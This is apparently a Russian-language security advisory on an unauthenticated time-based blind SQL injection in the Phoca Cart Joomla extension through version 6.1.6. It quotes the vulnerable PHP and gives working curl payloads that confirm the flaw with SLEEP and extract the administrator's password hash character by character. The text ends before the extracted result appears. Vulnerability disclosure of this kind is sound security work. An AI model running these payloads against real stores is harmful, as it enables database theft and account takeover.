
Неаутентифицированная SQL-инъекция через фильтр атрибутов в Phoca Cart — CVSS 9.3
Phoca Cart ≤ 6.1.6 — неаутентифицированный злоумышленник извлекает всю базу данных с помощью time-based blind инъекции
Параметры GET-массивов a[] (атрибут) и s[] (спецификация) на публичной странице товаров магазина Phoca Cart конкатенируются в SQL-выражения WHERE в исходном виде, без параметризации или экранирования. Неаутентифицированный злоумышленник может внедрить произвольный SQL через эти параметры, что позволяет полностью извлечь базу данных с помощью техники time-based blind (слепой инъекции на основе времени).
Уязвимость находится в getSqlPartsArray() внутри admin/libraries/phocacart/search/search.php. Функция вызывает explode(',', $v) перед построением списка IN(), но никогда не экранирует полученные значения — поэтому payload без запятых попадает в SQL-запрос в неизменном виде. Поскольку getItemListQuery() вызывается дважды за запрос (getTotal() + getItemList()), payload SLEEP(N) вызывает наблюдаемую задержку в 2×N секунд, что делает обнаружение по времени очень надёжным.
| КОМПОНЕНТ | УЯЗВИМА | ПРОТЕСТИРОВАНО НА | ИСПРАВЛЕНО |
|---|---|---|---|
| Phoca Cart (com_phocacart) | 5.0.0 – 6.1.6 | Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache) | 6.1.7 |
Тип: SQL-инъекция — Time-Based Blind (CWE-89)
Требуется аутентификация: нет — общедоступная конечная точка
Файл: admin/libraries/phocacart/search/search.php
Модель товаров читает параметры a[] и s[] напрямую из HTTP-запроса без санитизации:
SITE/MODELS/ITEMS.PHP — СТРОКИ 92–93
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET
Эти значения передаются в getSqlPartsArray(), которая разделяет каждое значение по запятым и вставляет полученные фрагменты непосредственно в SQL-выражение IN():
SEARCH.PHP — GETSQLPARTSARRAY(), СТРОКИ 318–363 (УЯЗВИМО)
foreach ($value as $k => $v) {
$a = explode(',', $v); // splits on comma — but does NOT escape
$a = array_unique($a);
if ($k && $v) {
if ($searchArea == 'a') {
// ANY method — $a values are NOT escaped before implode:
$inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
. '\'' . implode('\',\'', $a) . '\'' // ← raw user input injected here
. '))';
// ALL method — $v2 injected raw into double-quoted context:
foreach ($a as $v2) {
$inAS[$iA] = 'at2.alias = ' . $db->quote($k)
. ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
$iA++;
}
}
else if ($searchArea == 's') {
// specification filter — same pattern, same flaw:
$inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
. '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
}
}
}
Результирующий SQL-фрагмент вставляется в основной запрос:
a.id IN (
SELECT at2.product_id FROM #__phocacart_attributes AS at2
LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)
getActiveFilterValues() в filter.php применяет filterValue($item, 'alphanumeric') к значениям a[]/s[] для слоя отображения. Однако getSqlPartsArray() читает те же параметры напрямую из $app->getInput()->get('a', '', 'array') без какой-либо санитизации, полностью обходя защиту слоя отображения.
Аутентификация не требуется. Страница товаров (/index.php?option=com_phocacart&view=items) является общедоступной. Для эксплуатации не требуется настраивать атрибуты или спецификации в магазине.
Неаутентифицированный пользователь может получить доступ к торговому порталу без каких-либо учётных данных.

Сырой запрос, перехваченный в Burp Suite — базовое время отклика: 76 мс.

a[])Payload SLEEP(3) внедряется через параметр a[color]. Поскольку getItemListQuery() вызывается дважды за запрос, ожидаемая задержка составляет 2 × 3 = 6 с. Наблюдаемое значение: 7085 мс — подтверждено.
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"
# Result: 7.085s — CONFIRMED
# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"

Замена SLEEP(3) на SLEEP(0) возвращает ответ немедленно (1064 мс), что подтверждает: задержка вызвана внедрённым SLEEP, а не сетевыми условиями.

Извлекайте bcrypt-хэш администратора по одному байту за раз. Критическое ограничение: explode(',', $v) разделяет строку по запятым перед построением SQL — в payload необходимо использовать SUBSTRING(str FROM pos FOR len) (синтаксис ANSI с ключевыми словами), чтобы избежать обрезания по запятой, а также CASE WHEN ... THEN ... ELSE ... END вместо IF().
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match
PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=$PAYLOAD" \
"http://TARGET/index.php"
Проверка в лаборатории — первые 12 символов bcrypt-хэша администратора: